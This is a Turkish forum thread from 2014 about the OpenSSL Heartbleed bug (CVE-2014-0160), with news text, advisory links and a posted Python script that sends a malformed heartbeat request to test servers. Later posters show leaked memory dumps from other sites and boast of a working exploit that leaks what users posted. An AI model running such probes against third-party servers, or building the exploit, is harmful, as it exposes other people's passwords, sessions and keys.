Openssl Güvenlik Açığı - Heartbleed Bug

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Zork.
    torpedo_XL
    torpedo_XL's avatar
    Kayıt Tarihi: 21/Ağustos/2005
    Erkek

     

    Sitede bahsedilmemesine şaşırdım. Direk konuya giriyorum eğer kendi sunucunuzda vpn kurmuş ve dün update yapmaya çalıştıysanız ssl güvenlik yaması geldiğini görmüşsünüzdür. Bugün nette baktığımda openssl deki büyük bir güvenlik açığı olan heartbleed bug ın public edildiğini gördüm.

    Geri kalan açıklamayı webrazzi den ekliyorum

    İnternet trafiğinin önemli bir kısmının güvenliğini sağlayan kriptografik yazılım kütüphanesi OpenSSL’de çok ciddi bir güvenlik açığı tespit edildi. Heartbleed Bug adı verilen bu açık güvenlik şirketi Codenomicun tarafından dün kamuoyuyla paylaşıldı ve büyük endişe kaynağı olmaya devam ediyor.

    OpenSSL’in ne olduğunu bilmiyor olabilirsiniz ancak çok büyük ihtimalle onu kullanan çoğunluktan birisiniz. Kullandığınız uygulamalar ve ziyaret ettiğiniz internet sitelerinde, verileri gönderim ve alımı sırasında şifreleniyorsa OpenSSL kullanılıyor olma ihtimalleri oldukça yüksek. Örneğin, internetin yaklaşık yüzde 66′sını çalıştıran Apache web sunucusu OpenSSL kullanıyor… Sorun gerçekten ciddi.

    Yapılan açıklamaya göre, OpenSSL’deki açık, normal koşullarda SSL/TLS şifreleriyle korunan bilgilerin çalınmasına izin veriyor. SSL/TLS web, e-posta, anlık mesajlaşma ve bazı VPN’lerin iletişiminin güvenlik ve gizliliğini sağlıyor.

     

    Hearthbleed bug’ı OpenSSL yazılımının kırılgan versiyonları tarafında korunun sistemlerin internetteki herhangi biri tarafından okunmasına da izin veriyor. Bu servis sağlayıcıları tanımlamaya ve trafiği şifrelemeye yarayan gizli şifreleri ve kullanıcıların isim ve şifrelerini de güvensiz hale getiriyor. Açık, saldırganların iletişime kulak misafiri olması, doğrudan kullanıcı ve servis bilgilerinin çalınmasına neden olabilir. Bunun anlamı, kullanıcı adları, şifreler, kredi kartı bilgileri vs. gibi hassas bilgilerin tehlike altında olduğu.

    Duyuruda, bir suçlu gözüyle kendi kendilerine tamamen dışardan, iz bırakmadan saldırdıkları da söyleniyor. Hiçbir özel bilginin kullanılmadığı bu deneyde, kendi kullanıcı adları, şifreleri, anlık mesajları, e-postalar, kritik iş dökümanları ve iletişimi, gizli şifreleri ve X-509 sertifikalarını çalabilmişler.

    OpenSSL’deki güvenlik açığının 2 yıldan uzun süredir kullanılan 1.0.1 ve 1.0.1f versiyonlarında olduğu belirtiliyor. Daha da kötüsü, bu açıkları kötüye kullanılması sonucunda sunucu log’larında hiçbir iz de kalmıyor. Yani sistem yöneticilerinin sunucularına saldırılıp saldırılmadığını anlamaları gerçekten zor.

    Açığı, Google’ın güvenlik takımından Neel Mehta bulup OpenSSL’e bildirmiş. OpenSSL bunun ardından güvenlik tavsiyesi ile birlikte bir de acil durum yaması (patch)

     

     

    Eğer sunucunuzda vpn falan kurduysanız vakit kaybetmeden ssl güncellemesini yapmanızı öneriyorum.


    Açığın public edildiği adres: http://heartbleed.com/

    Sunucunuzun bu güvenlik açığına sahip olup olmadığını test etmek için: http://filippo.io/Heartbleed/

    Heartbleed güvenlik açığına karşı savunmasız ve problem olmayan sitelerin linkleri: https://github.com/musalbas/heartbleed-masstest/blob/master/top10000.txt

    Eğer buradaki vulnerable siteleri kullanıyorsanız belli bir süre üye girişi yapmayın derim. Openssl anında https://www.openssl.org/news/secadv_20140407.txt 

    bu adreste belirtildiği gibi patch yayınladı, ayrıca cloudflare de açık public edilmeden gereken patchi yaptı ama bunun dışındaki servislerde hala sıkıntı olabilir.


    Bilge insanlar konuşurlar çünkü söyleyecek bir şeyleri vardır. Aptal insanlar konuşurlar çünkü bir şey söylemek zorundadırlar. Demokrasi, bir eğitim işidir. Eğitimsiz kitlelerle demokrasiye geçilirse oligarşi olur. Devam edilirse demagoglar türer. Demagoglardan da diktatörler çıkar. --Platon, Devlet                                                                                                                                                                                                                                                                                                                                                                                         
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Zork.
    torpedo_XL
    torpedo_XL's avatar
    Kayıt Tarihi: 21/Ağustos/2005
    Erkek

    Buda açığın daha rahat anlaşılabileceği görsel açıklama:

    http://vimeo.com/91425662

     


    Bilge insanlar konuşurlar çünkü söyleyecek bir şeyleri vardır. Aptal insanlar konuşurlar çünkü bir şey söylemek zorundadırlar. Demokrasi, bir eğitim işidir. Eğitimsiz kitlelerle demokrasiye geçilirse oligarşi olur. Devam edilirse demagoglar türer. Demagoglardan da diktatörler çıkar. --Platon, Devlet                                                                                                                                                                                                                                                                                                                                                                                         
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    nick6
    0x656e
    0x656e's avatar
    Kayıt Tarihi: 19/Mayıs/2012
    Erkek

    Bu işlerden anlamayan adam bile bu yazıyı okuyup anlayabilir . Fazlaca dolaşıyor sosyal medyada teşekkürler canım :)


  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Tarikat Şeyhi
    HolyOne
    HolyOne's avatar
    Kayıt Tarihi: 01/Haziran/2002
    Erkek

    Çoook ilginçmiş nedense duymamıştım şu ana kadar.

    Ortalıkta sample kod varmı? ben iyice anladım ne olduğunu, yazarım eğer yoksa


    Nush ile uslanmayanı etmeli tekdir, Tekdir ile uslanmayanın hakkı kötektir!
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Jilet_Boris
    Jilet_Boris's avatar
    Kayıt Tarihi: 04/Mart/2009
    Erkek

    çok sakat, özellikle de kurumlar için felaket bir durum.

    edit: redtube hemen açığı kapatmış xda-developers vulnerable, bu nasıl iş lan :D

    Jilet_Boris tarafından 09/Nis/14 22:03 tarihinde düzenlenmiştir
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Zork.
    torpedo_XL
    torpedo_XL's avatar
    Kayıt Tarihi: 21/Ağustos/2005
    Erkek
    HolyOne bunu yazdı

    Çoook ilginçmiş nedense duymamıştım şu ana kadar.

    Ortalıkta sample kod varmı? ben iyice anladım ne olduğunu, yazarım eğer yoksa

    Hocam python kodu var test için. Açık olan sitelerde çalıştırırsan bilgileri laps diye önüne koyuyor.

    #!/usr/bin/python
    
    # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
    # The author disclaims copyright to this source code.
    
    # Modified for simplified checking by Yonathan Klijnsma
    
    import sys
    import struct
    import socket
    import time
    import select
    import re
    from optparse import OptionParser
    
    target = None
    
    options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
    options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
    
    def h2bin(x):
        return x.replace(' ', '').replace('\n', '').decode('hex')
    
    hello = h2bin('''
    16 03 02 00  dc 01 00 00 d8 03 02 53
    43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
    bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
    00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
    00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
    c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
    c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
    c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
    c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
    00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
    03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
    00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
    00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
    00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
    00 0f 00 01 01                                  
    ''')
    
    hb = h2bin(''' 
    18 03 02 00 03
    01 40 00
    ''')
    
    def hexdump(s):
        for b in xrange(0, len(s), 16):
            lin = [c for c in s[b : b + 16]]
            hxdat = ' '.join('%02X' % ord(c) for c in lin)
            pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
            print '  %04x: %-48s %s' % (b, hxdat, pdat)
        print
    
    def recvall(s, length, timeout=5):
        endtime = time.time() + timeout
        rdata = ''
        remain = length
        while remain > 0:
            rtime = endtime - time.time() 
            if rtime < 0:
                return None
            r, w, e = select.select([s], [], [], 5)
            if s in r:
                data = s.recv(remain)
                # EOF?
                if not data:
                    return None
                rdata += data
                remain -= len(data)
        return rdata
            
    
    def recvmsg(s):
        hdr = recvall(s, 5)
        if hdr is None:
            return None, None, None
        typ, ver, ln = struct.unpack('>BHH', hdr)
        pay = recvall(s, ln, 10)
        if pay is None:
            return None, None, None
     
        return typ, ver, pay
    
    def hit_hb(s):
        global target
        s.send(hb)
        while True:
            typ, ver, pay = recvmsg(s)
            if typ is None:
                print target + '|NOT VULNERABLE'
                return False
    
            if typ == 24:
                if len(pay) > 3:
                    print target + '|VULNERABLE'
                else:
                    print target + '|NOT VULNERABLE'
                return True
    
            if typ == 21:
                print target + '|NOT VULNERABLE'
                return False
    
    def main():
        global target
        opts, args = options.parse_args()
        if len(args) < 1:
            options.print_help()
            return
    
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sys.stdout.flush()
        s.connect((args[0], opts.port))
        target = args[0]
        sys.stdout.flush()
        s.send(hello)
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                return
            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break
    
        sys.stdout.flush()
        s.send(hb)
        hit_hb(s)
    
    if __name__ == '__main__':
        main()
    

    Bilge insanlar konuşurlar çünkü söyleyecek bir şeyleri vardır. Aptal insanlar konuşurlar çünkü bir şey söylemek zorundadırlar. Demokrasi, bir eğitim işidir. Eğitimsiz kitlelerle demokrasiye geçilirse oligarşi olur. Devam edilirse demagoglar türer. Demagoglardan da diktatörler çıkar. --Platon, Devlet                                                                                                                                                                                                                                                                                                                                                                                         
  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Zork.
    torpedo_XL
    torpedo_XL's avatar
    Kayıt Tarihi: 21/Ağustos/2005
    Erkek

    Teknik bilgi arayanlar için açığın mimarisi hakkında bazı incelemeler:

    http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html

    http://blog.cryptographyengineering.com/2014/04/attack-of-week-openssl-heartbleed.html

    Ayrıca açık amerikanın ulusal güvenlik açığı veritabanına de kaydedilmiş

    https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0160

     


    Bilge insanlar konuşurlar çünkü söyleyecek bir şeyleri vardır. Aptal insanlar konuşurlar çünkü bir şey söylemek zorundadırlar. Demokrasi, bir eğitim işidir. Eğitimsiz kitlelerle demokrasiye geçilirse oligarşi olur. Devam edilirse demagoglar türer. Demagoglardan da diktatörler çıkar. --Platon, Devlet                                                                                                                                                                                                                                                                                                                                                                                         
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Tarikat Şeyhi
    HolyOne
    HolyOne's avatar
    Kayıt Tarihi: 01/Haziran/2002
    Erkek

    Bu şeyin çalıştığı birkaç örnek site verirseniz daha iyisini yazim =)


    Nush ile uslanmayanı etmeli tekdir, Tekdir ile uslanmayanın hakkı kötektir!
  9. KısayolKısayol reportŞikayet pmÖzel Mesaj
    detCode
    detCode's avatar
    Kayıt Tarihi: 30/Kasım/2012
    Erkek
    HolyOne bunu yazdı

    Bu şeyin çalıştığı birkaç örnek site verirseniz daha iyisini yazim =)

    hearthbleed checker tool yapmışlardı hocam sanırım github da vardı diye hatırlıyorum.

     

    edit üstteki kodda checkermış bakmadan yazdım :D

    detCode tarafından 09/Nis/14 22:32 tarihinde düzenlenmiştir

    Who is detCode?
  10. KısayolKısayol reportŞikayet pmÖzel Mesaj
    K4R4B4S4N
    K4R4B4S4N's avatar
    Kayıt Tarihi: 01/Eylül/2005
    Erkek

    bu kodlar açık var mı yok mu tespit ediyor peki kendi komutumuzu vs iletebileceğimiz bir exploit mevcut mu ? bana şu şekilde cevap verdi bunu nasıl anlaşılır hale getirebilirim ? 

     

    .ok.9nr...a.d..

    ...WD..._a...#e

    p5m..u..ou.Bf..

    V.....z..Lb....

    .pp...n..V.....

    .y^.9.....!...;

    ....v-5~.....Y.

    f2.0...%U.P....

    .M b.Z.IA.=....

    ..vvUZ<../....f

    .37...2.3.(..`.

    .*/.......R..3.

    ?.'i.E3..%.....

    a<A.@.!#..{....

    ..=>...)..69.X.

    0..'...b.....Y.


    imza dediğin nedir ki gülüm ben senin için yaşamayı göze almışım
  11. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Tarikat Şeyhi
    HolyOne
    HolyOne's avatar
    Kayıt Tarihi: 01/Haziran/2002
    Erkek

    Ewt beyler ilk exploitimiz hazır şimdi çok uykm geldi yarın piyasaya süreyim =)

    Pek de güzel çıktı veriyor millet ne post etmişse dökülüyor


    Nush ile uslanmayanı etmeli tekdir, Tekdir ile uslanmayanın hakkı kötektir!
Toplam Hit: 13452 Toplam Mesaj: 79